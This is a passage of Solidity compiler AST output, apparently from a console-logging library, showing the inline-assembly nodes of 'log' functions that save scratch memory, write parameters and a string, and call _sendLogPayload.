Type":"YulLiteral","src":"142646:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"142633:6:22","nodeType":"YulIdentifier","src":"142633:6:22"},"nativeSrc":"142633:18:22","nodeType":"YulFunctionCall","src":"142633:18:22"},"nativeSrc":"142633:18:22","nodeType":"YulExpressionStatement","src":"142633:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142671:4:22","nodeType":"YulLiteral","src":"142671:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"142677:2:22","nodeType":"YulIdentifier","src":"142677:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142664:6:22","nodeType":"YulIdentifier","src":"142664:6:22"},"nativeSrc":"142664:16:22","nodeType":"YulFunctionCall","src":"142664:16:22"},"nativeSrc":"142664:16:22","nodeType":"YulExpressionStatement","src":"142664:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142700:4:22","nodeType":"YulLiteral","src":"142700:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"142706:2:22","nodeType":"YulIdentifier","src":"142706:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142693:6:22","nodeType":"YulIdentifier","src":"142693:6:22"},"nativeSrc":"142693:16:22","nodeType":"YulFunctionCall","src":"142693:16:22"},"nativeSrc":"142693:16:22","nodeType":"YulExpressionStatement","src":"142693:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142734:4:22","nodeType":"YulLiteral","src":"142734:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"142740:2:22","nodeType":"YulIdentifier","src":"142740:2:22"}],"functionName":{"name":"writeString","nativeSrc":"142722:11:22","nodeType":"YulIdentifier","src":"142722:11:22"},"nativeSrc":"142722:21:22","nodeType":"YulFunctionCall","src":"142722:21:22"},"nativeSrc":"142722:21:22","nodeType":"YulExpressionStatement","src":"142722:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38380,"isOffset":false,"isSlot":false,"src":"142294:2:22","valueSize":1},{"declaration":38383,"isOffset":false,"isSlot":false,"src":"142324:2:22","valueSize":1},{"declaration":38386,"isOffset":false,"isSlot":false,"src":"142354:2:22","valueSize":1},{"declaration":38389,"isOffset":false,"isSlot":false,"src":"142384:2:22","valueSize":1},{"declaration":38392,"isOffset":false,"isSlot":false,"src":"142414:2:22","valueSize":1},{"declaration":38395,"isOffset":false,"isSlot":false,"src":"142444:2:22","valueSize":1},{"declaration":38398,"isOffset":false,"isSlot":false,"src":"142474:2:22","valueSize":1},{"declaration":38370,"isOffset":false,"isSlot":false,"src":"142617:2:22","valueSize":1},{"declaration":38372,"isOffset":false,"isSlot":false,"src":"142740:2:22","valueSize":1},{"declaration":38374,"isOffset":false,"isSlot":false,"src":"142677:2:22","valueSize":1},{"declaration":38376,"isOffset":false,"isSlot":false,"src":"142706:2:22","valueSize":1}],"id":38400,"nodeType":"InlineAssembly","src":"141916:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38402,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"142778:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38403,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"142784:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38401,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"142762:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38404,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"142762:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38405,"nodeType":"ExpressionStatement","src":"142762:27:22"},{"AST":{"nativeSrc":"142808:214:22","nodeType":"YulBlock","src":"142808:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"142829:4:22","nodeType":"YulLiteral","src":"142829:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"142835:2:22","nodeType":"YulIdentifier","src":"142835:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142822:6:22","nodeType":"YulIdentifier","src":"142822:6:22"},"nativeSrc":"142822:16:22","nodeType":"YulFunctionCall","src":"142822:16:22"},"nativeSrc":"142822:16:22","nodeType":"YulExpressionStatement","src":"142822:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142858:4:22","nodeType":"YulLiteral","src":"142858:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"142864:2:22","nodeType":"YulIdentifier","src":"142864:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142851:6:22","nodeType":"YulIdentifier","src":"142851:6:22"},"nativeSrc":"142851:16:22","nodeType":"YulFunctionCall","src":"142851:16:22"},"nativeSrc":"142851:16:22","nodeType":"YulExpressionStatement","src":"142851:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142887:4:22","nodeType":"YulLiteral","src":"142887:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"142893:2:22","nodeType":"YulIdentifier","src":"142893:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142880:6:22","nodeType":"YulIdentifier","src":"142880:6:22"},"nativeSrc":"142880:16:22","nodeType":"YulFunctionCall","src":"142880:16:22"},"nativeSrc":"142880:16:22","nodeType":"YulExpressionStatement","src":"142880:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142916:4:22","nodeType":"YulLiteral","src":"142916:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"142922:2:22","nodeType":"YulIdentifier","src":"142922:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142909:6:22","nodeType":"YulIdentifier","src":"142909:6:22"},"nativeSrc":"142909:16:22","nodeType":"YulFunctionCall","src":"142909:16:22"},"nativeSrc":"142909:16:22","nodeType":"YulExpressionStatement","src":"142909:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142945:4:22","nodeType":"YulLiteral","src":"142945:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"142951:2:22","nodeType":"YulIdentifier","src":"142951:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142938:6:22","nodeType":"YulIdentifier","src":"142938:6:22"},"nativeSrc":"142938:16:22","nodeType":"YulFunctionCall","src":"142938:16:22"},"nativeSrc":"142938:16:22","nodeType":"YulExpressionStatement","src":"142938:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142974:4:22","nodeType":"YulLiteral","src":"142974:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"142980:2:22","nodeType":"YulIdentifier","src":"142980:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142967:6:22","nodeType":"YulIdentifier","src":"142967:6:22"},"nativeSrc":"142967:16:22","nodeType":"YulFunctionCall","src":"142967:16:22"},"nativeSrc":"142967:16:22","nodeType":"YulExpressionStatement","src":"142967:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"143003:4:22","nodeType":"YulLiteral","src":"143003:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"143009:2:22","nodeType":"YulIdentifier","src":"143009:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142996:6:22","nodeType":"YulIdentifier","src":"142996:6:22"},"nativeSrc":"142996:16:22","nodeType":"YulFunctionCall","src":"142996:16:22"},"nativeSrc":"142996:16:22","nodeType":"YulExpressionStatement","src":"142996:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38380,"isOffset":false,"isSlot":false,"src":"142835:2:22","valueSize":1},{"declaration":38383,"isOffset":false,"isSlot":false,"src":"142864:2:22","valueSize":1},{"declaration":38386,"isOffset":false,"isSlot":false,"src":"142893:2:22","valueSize":1},{"declaration":38389,"isOffset":false,"isSlot":false,"src":"142922:2:22","valueSize":1},{"declaration":38392,"isOffset":false,"isSlot":false,"src":"142951:2:22","valueSize":1},{"declaration":38395,"isOffset":false,"isSlot":false,"src":"142980:2:22","valueSize":1},{"declaration":38398,"isOffset":false,"isSlot":false,"src":"143009:2:22","valueSize":1}],"id":38406,"nodeType":"InlineAssembly","src":"142799:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"141703:3:22","parameters":{"id":38377,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38370,"mutability":"mutable","name":"p0","nameLocation":"141715:2:22","nodeType":"VariableDeclaration","scope":38408,"src":"141707:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38369,"name":"address","nodeType":"ElementaryTypeName","src":"141707:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38372,"mutability":"mutable","name":"p1","nameLocation":"141727:2:22","nodeType":"VariableDeclaration","scope":38408,"src":"141719:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38371,"name":"bytes32","nodeType":"ElementaryTypeName","src":"141719:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38374,"mutability":"mutable","name":"p2","nameLocation":"141736:2:22","nodeType":"VariableDeclaration","scope":38408,"src":"141731:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38373,"name":"bool","nodeType":"ElementaryTypeName","src":"141731:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38376,"mutability":"mutable","name":"p3","nameLocation":"141748:2:22","nodeType":"VariableDeclaration","scope":38408,"src":"141740:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38375,"name":"uint256","nodeType":"ElementaryTypeName","src":"141740:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"141706:45:22"},"returnParameters":{"id":38378,"nodeType":"ParameterList","parameters":[],"src":"141766:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38454,"nodeType":"FunctionDefinition","src":"143034:1530:22","nodes":[],"body":{"id":38453,"nodeType":"Block","src":"143106:1458:22","nodes":[],"statements":[{"assignments":[38420],"declarations":[{"constant":false,"id":38420,"mutability":"mutable","name":"m0","nameLocation":"143124:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143116:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38419,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143116:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38421,"nodeType":"VariableDeclarationStatement","src":"143116:10:22"},{"assignments":[38423],"declarations":[{"constant":false,"id":38423,"mutability":"mutable","name":"m1","nameLocation":"143144:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143136:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38422,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143136:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38424,"nodeType":"VariableDeclarationStatement","src":"143136:10:22"},{"assignments":[38426],"declarations":[{"constant":false,"id":38426,"mutability":"mutable","name":"m2","nameLocation":"143164:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143156:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38425,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143156:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38427,"nodeType":"VariableDeclarationStatement","src":"143156:10:22"},{"assignments":[38429],"declarations":[{"constant":false,"id":38429,"mutability":"mutable","name":"m3","nameLocation":"143184:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143176:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38428,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143176:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38430,"nodeType":"VariableDeclarationStatement","src":"143176:10:22"},{"assignments":[38432],"declarations":[{"constant":false,"id":38432,"mutability":"mutable","name":"m4","nameLocation":"143204:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143196:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38431,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143196:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38433,"nodeType":"VariableDeclarationStatement","src":"143196:10:22"},{"assignments":[38435],"declarations":[{"constant":false,"id":38435,"mutability":"mutable","name":"m5","nameLocation":"143224:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143216:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38434,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143216:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38436,"nodeType":"VariableDeclarationStatement","src":"143216:10:22"},{"assignments":[38438],"declarations":[{"constant":false,"id":38438,"mutability":"mutable","name":"m6","nameLocation":"143244:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143236:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38437,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143236:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38439,"nodeType":"VariableDeclarationStatement","src":"143236:10:22"},{"assignments":[38441],"declarations":[{"constant":false,"id":38441,"mutability":"mutable","name":"m7","nameLocation":"143264:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143256:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38440,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143256:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38442,"nodeType":"VariableDeclarationStatement","src":"143256:10:22"},{"assignments":[38444],"declarations":[{"constant":false,"id":38444,"mutability":"mutable","name":"m8","nameLocation":"143284:2:22","nodeType":"VariableDeclaration","scope":38453,"src":"143276:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38443,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143276:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38445,"nodeType":"VariableDeclarationStatement","src":"143276:10:22"},{"AST":{"nativeSrc":"143305:924:22","nodeType":"YulBlock","src":"143305:924:22","statements":[{"body":{"nativeSrc":"143348:313:22","nodeType":"YulBlock","src":"143348:313:22","statements":[{"nativeSrc":"143366:15:22","nodeType":"YulVariableDeclaration","src":"143366:15:22","value":{"kind":"number","nativeSrc":"143380:1:22","nodeType":"YulLiteral","src":"143380:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"143370:6:22","nodeType":"YulTypedName","src":"143370:6:22","type":""}]},{"body":{"nativeSrc":"143451:40:22","nodeType":"YulBlock","src":"143451:40:22","statements":[{"body":{"nativeSrc":"143480:9:22","nodeType":"YulBlock","src":"143480:9:22","statements":[{"nativeSrc":"143482:5:22","nodeType":"YulBreak","src":"143482:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"143468:6:22","nodeType":"YulIdentifier","src":"143468:6:22"},{"name":"w","nativeSrc":"143476:1:22","nodeType":"YulIdentifier","src":"143476:1:22"}],"functionName":{"name":"byte","nativeSrc":"143463:4:22","nodeType":"YulIdentifier","src":"143463:4:22"},"nativeSrc":"143463:15:22","nodeType":"YulFunctionCall","src":"143463:15:22"}],"functionName":{"name":"iszero","nativeSrc":"143456:6:22","nodeType":"YulIdentifier","src":"143456:6:22"},"nativeSrc":"143456:23:22","nodeType":"YulFunctionCall","src":"143456:23:22"},"nativeSrc":"143453:36:22","nodeType":"YulIf","src":"143453:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"143408:6:22","nodeType":"YulIdentifier","src":"143408:6:22"},{"kind":"number","nativeSrc":"143416:4:22","nodeType":"YulLiteral","src":"143416:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"143405:2:22","nodeType":"YulIdentifier","src":"143405:2:22"},"nativeSrc":"143405:16:22","nodeType":"YulFunctionCall","src":"143405:16:22"},"nativeSrc":"143398:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"143422:28:22","nodeType":"YulBlock","src":"143422:28:22","statements":[{"nativeSrc":"143424:24:22","nodeType":"YulAssignment","src":"143424:24:22","value":{"arguments":[{"name":"length","nativeSrc":"143438:6:22","nodeType":"YulIdentifier","src":"143438:6:22"},{"kind":"number","nativeSrc":"143446:1:22","nodeType":"YulLiteral","src":"143446:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"143434:3:22","nodeType":"YulIdentifier","src":"143434:3:22"},"nativeSrc":"143434:14:22","nodeType":"YulFunctionCall","src":"143434:14:22"},"variableNames":[{"name":"length","nativeSrc":"143424:6:22","nodeType":"YulIdentifier","src":"143424:6:22"}]}]},"pre":{"nativeSrc":"143402:2:22","nodeType":"YulBlock","src":"143402:2:22","statements":[]},"src":"143398:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"143515:3:22","nodeType":"YulIdentifier","src":"143515:3:22"},{"name":"length","nativeSrc":"143520:6:22","nodeType":"YulIdentifier","src":"143520:6:22"}],"functionName":{"name":"mstore","nativeSrc":"143508:6:22","nodeType":"YulIdentifier","src":"143508:6:22"},"nativeSrc":"143508:19:22","nodeType":"YulFunctionCall","src":"143508:19:22"},"nativeSrc":"143508:19:22","nodeType":"YulExpressionStatement","src":"143508:19:22"},{"nativeSrc":"143544:37:22","nodeType":"YulVariableDeclaration","src":"143544:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"143561:3:22","nodeType":"YulLiteral","src":"143561:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"143570:1:22","nodeType":"YulLiteral","src":"143570:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"143573:6:22","nodeType":"YulIdentifier","src":"143573:6:22"}],"functionName":{"name":"shl","nativeSrc":"143566:3:22","nodeType":"YulIdentifier","src":"143566:3:22"},"nativeSrc":"143566:14:22","nodeType":"YulFunctionCall","src":"143566:14:22"}],"functionName":{"name":"sub","nativeSrc":"143557:3:22","nodeType":"YulIdentifier","src":"143557:3:22"},"nativeSrc":"143557:24:22","nodeType":"YulFunctionCall","src":"143557:24:22"},"variables":[{"name":"shift","nativeSrc":"143548:5:22","nodeType":"YulTypedName","src":"143548:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"143609:3:22","nodeType":"YulIdentifier","src":"143609:3:22"},{"kind":"number","nativeSrc":"143614:4:22","nodeType":"YulLiteral","src":"143614:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"143605:3:22","nodeType":"YulIdentifier","src":"143605:3:22"},"nativeSrc":"143605:14:22","nodeType":"YulFunctionCall","src":"143605:14:22"},{"arguments":[{"name":"shift","nativeSrc":"143625:5:22","nodeType":"YulIdentifier","src":"143625:5:22"},{"arguments":[{"name":"shift","nativeSrc":"143636:5:22","nodeType":"YulIdentifier","src":"143636:5:22"},{"name":"w","nativeSrc":"143643:1:22","nodeType":"YulIdentifier","src":"143643:1:22"}],"functionName":{"name":"shr","nativeSrc":"143632:3:22","nodeType":"YulIdentifier","src":"143632:3:22"},"nativeSrc":"143632:13:22","nodeType":"YulFunctionCall","src":"143632:13:22"}],"functionName":{"name":"shl","nativeSrc":"143621:3:22","nodeType":"YulIdentifier","src":"143621:3:22"},"nativeSrc":"143621:25:22","nodeType":"YulFunctionCall","src":"143621:25:22"}],"functionName":{"name":"mstore","nativeSrc":"143598:6:22","nodeType":"YulIdentifier","src":"143598:6:22"},"nativeSrc":"143598:49:22","nodeType":"YulFunctionCall","src":"143598:49:22"},"nativeSrc":"143598:49:22","nodeType":"YulExpressionStatement","src":"143598:49:22"}]},"name":"writeString","nativeSrc":"143319:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"143340:3:22","nodeType":"YulTypedName","src":"143340:3:22","type":""},{"name":"w","nativeSrc":"143345:1:22","nodeType":"YulTypedName","src":"143345:1:22","type":""}],"src":"143319:342:22"},{"nativeSrc":"143674:17:22","nodeType":"YulAssignment","src":"143674:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"143686:4:22","nodeType":"YulLiteral","src":"143686:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"143680:5:22","nodeType":"YulIdentifier","src":"143680:5:22"},"nativeSrc":"143680:11:22","nodeType":"YulFunctionCall","src":"143680:11:22"},"variableNames":[{"name":"m0","nativeSrc":"143674:2:22","nodeType":"YulIdentifier","src":"143674:2:22"}]},{"nativeSrc":"143704:17:22","nodeType":"YulAssignment","src":"143704:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"143716:4:22","nodeType":"YulLiteral","src":"143716:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"143710:5:22","nodeType":"YulIdentifier","src":"143710:5:22"},"nativeSrc":"143710:11:22","nodeType":"YulFunctionCall","src":"143710:11:22"},"variableNames":[{"name":"m1","nativeSrc":"143704:2:22","nodeType":"YulIdentifier","src":"143704:2:22"}]},{"nativeSrc":"143734:17:22","nodeType":"YulAssignment","src":"143734:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"143746:4:22","nodeType":"YulLiteral","src":"143746:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"143740:5:22","nodeType":"YulIdentifier","src":"143740:5:22"},"nativeSrc":"143740:11:22","nodeType":"YulFunctionCall","src":"143740:11:22"},"variableNames":[{"name":"m2","nativeSrc":"143734:2:22","nodeType":"YulIdentifier","src":"143734:2:22"}]},{"nativeSrc":"143764:17:22","nodeType":"YulAssignment","src":"143764:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"143776:4:22","nodeType":"YulLiteral","src":"143776:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"143770:5:22","nodeType":"YulIdentifier","src":"143770:5:22"},"nativeSrc":"143770:11:22","nodeType":"YulFunctionCall","src":"143770:11:22"},"variableNames":[{"name":"m3","nativeSrc":"143764:2:22","nodeType":"YulIdentifier","src":"143764:2:22"}]},{"nativeSrc":"143794:17:22","nodeType":"YulAssignment","src":"143794:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"143806:4:22","nodeType":"YulLiteral","src":"143806:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"143800:5:22","nodeType":"YulIdentifier","src":"143800:5:22"},"nativeSrc":"143800:11:22","nodeType":"YulFunctionCall","src":"143800:11:22"},"variableNames":[{"name":"m4","nativeSrc":"143794:2:22","nodeType":"YulIdentifier","src":"143794:2:22"}]},{"nativeSrc":"143824:17:22","nodeType":"YulAssignment","src":"143824:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"143836:4:22","nodeType":"YulLiteral","src":"143836:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"143830:5:22","nodeType":"YulIdentifier","src":"143830:5:22"},"nativeSrc":"143830:11:22","nodeType":"YulFunctionCall","src":"143830:11:22"},"variableNames":[{"name":"m5","nativeSrc":"143824:2:22","nodeType":"YulIdentifier","src":"143824:2:22"}]},{"nativeSrc":"143854:17:22","nodeType":"YulAssignment","src":"143854:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"143866:4:22","nodeType":"YulLiteral","src":"143866:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"143860:5:22","nodeType":"YulIdentifier","src":"143860:5:22"},"nativeSrc":"143860:11:22","nodeType":"YulFunctionCall","src":"143860:11:22"},"variableNames":[{"name":"m6","nativeSrc":"143854:2:22","nodeType":"YulIdentifier","src":"143854:2:22"}]},{"nativeSrc":"143884:17:22","nodeType":"YulAssignment","src":"143884:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"143896:4:22","nodeType":"YulLiteral","src":"143896:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"143890:5:22","nodeType":"YulIdentifier","src":"143890:5:22"},"nativeSrc":"143890:11:22","nodeType":"YulFunctionCall","src":"143890:11:22"},"variableNames":[{"name":"m7","nativeSrc":"143884:2:22","nodeType":"YulIdentifier","src":"143884:2:22"}]},{"nativeSrc":"143914:18:22","nodeType":"YulAssignment","src":"143914:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"143926:5:22","nodeType":"YulLiteral","src":"143926:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"143920:5:22","nodeType":"YulIdentifier","src":"143920:5:22"},"nativeSrc":"143920:12:22","nodeType":"YulFunctionCall","src":"143920:12:22"},"variableNames":[{"name":"m8","nativeSrc":"143914:2:22","nodeType":"YulIdentifier","src":"143914:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144014:4:22","nodeType":"YulLiteral","src":"144014:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"144020:10:22","nodeType":"YulLiteral","src":"144020:10:22","type":"","value":"0xbc0b61fe"}],"functionName":{"name":"mstore","nativeSrc":"144007:6:22","nodeType":"YulIdentifier","src":"144007:6:22"},"nativeSrc":"144007:24:22","nodeType":"YulFunctionCall","src":"144007:24:22"},"nativeSrc":"144007:24:22","nodeType":"YulExpressionStatement","src":"144007:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144051:4:22","nodeType":"YulLiteral","src":"144051:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"144057:2:22","nodeType":"YulIdentifier","src":"144057:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144044:6:22","nodeType":"YulIdentifier","src":"144044:6:22"},"nativeSrc":"144044:16:22","nodeType":"YulFunctionCall","src":"144044:16:22"},"nativeSrc":"144044:16:22","nodeType":"YulExpressionStatement","src":"144044:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144080:4:22","nodeType":"YulLiteral","src":"144080:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"144086:4:22","nodeType":"YulLiteral","src":"144086:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"144073:6:22","nodeType":"YulIdentifier","src":"144073:6:22"},"nativeSrc":"144073:18:22","nodeType":"YulFunctionCall","src":"144073:18:22"},"nativeSrc":"144073:18:22","nodeType":"YulExpressionStatement","src":"144073:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144111:4:22","nodeType":"YulLiteral","src":"144111:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"144117:2:22","nodeType":"YulIdentifier","src":"144117:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144104:6:22","nodeType":"YulIdentifier","src":"144104:6:22"},"nativeSrc":"144104:16:22","nodeType":"YulFunctionCall","src":"144104:16:22"},"nativeSrc":"144104:16:22","nodeType":"YulExpressionStatement","src":"144104:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144140:4:22","nodeType":"YulLiteral","src":"144140:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"144146:4:22","nodeType":"YulLiteral","src":"144146:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"144133:6:22","nodeType":"YulIdentifier","src":"144133:6:22"},"nativeSrc":"144133:18:22","nodeType":"YulFunctionCall","src":"144133:18:22"},"nativeSrc":"144133:18:22","nodeType":"YulExpressionStatement","src":"144133:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144176:4:22","nodeType":"YulLiteral","src":"144176:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"144182:2:22","nodeType":"YulIdentifier","src":"144182:2:22"}],"functionName":{"name":"writeString","nativeSrc":"144164:11:22","nodeType":"YulIdentifier","src":"144164:11:22"},"nativeSrc":"144164:21:22","nodeType":"YulFunctionCall","src":"144164:21:22"},"nativeSrc":"144164:21:22","nodeType":"YulExpressionStatement","src":"144164:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144210:4:22","nodeType":"YulLiteral","src":"144210:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"144216:2:22","nodeType":"YulIdentifier","src":"144216:2:22"}],"functionName"